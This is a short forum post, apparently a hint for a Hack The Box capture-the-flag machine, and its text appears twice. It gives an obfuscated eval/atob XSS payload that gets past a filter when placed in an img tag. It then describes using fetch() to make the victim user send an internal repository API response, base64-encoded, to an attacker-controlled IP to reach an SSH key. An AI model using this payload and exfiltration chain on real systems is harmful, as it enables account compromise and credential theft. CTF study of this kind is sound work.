July 21, 2022 at 10:45 AM
This is a payload which bypasses the filter:
eval.call`${"eval\x28atob`YWxlcnQoInRlc3QiKQ==`\x29"}`
Put that payload inside an img tag.
fetch() can be used here. Try fetch("http://10.10.xxx.xxx/") and you should see an incoming request from charlie.
Now let charlie request dev.snippet.htb/api/v1/users/charlie/repos and send the response back to you using fetch().then() + btoa().
In that repository is an SSH key. (Please don't post SSH keys/passwords.)
eval.call`${"eval\x28atob`YWxlcnQoInRlc3QiKQ==`\x29"}`
Put that payload inside an img tag.
fetch() can be used here. Try fetch("http://10.10.xxx.xxx/") and you should see an incoming request from charlie.
Now let charlie request dev.snippet.htb/api/v1/users/charlie/repos and send the response back to you using fetch().then() + btoa().
In that repository is an SSH key. (Please don't post SSH keys/passwords.)

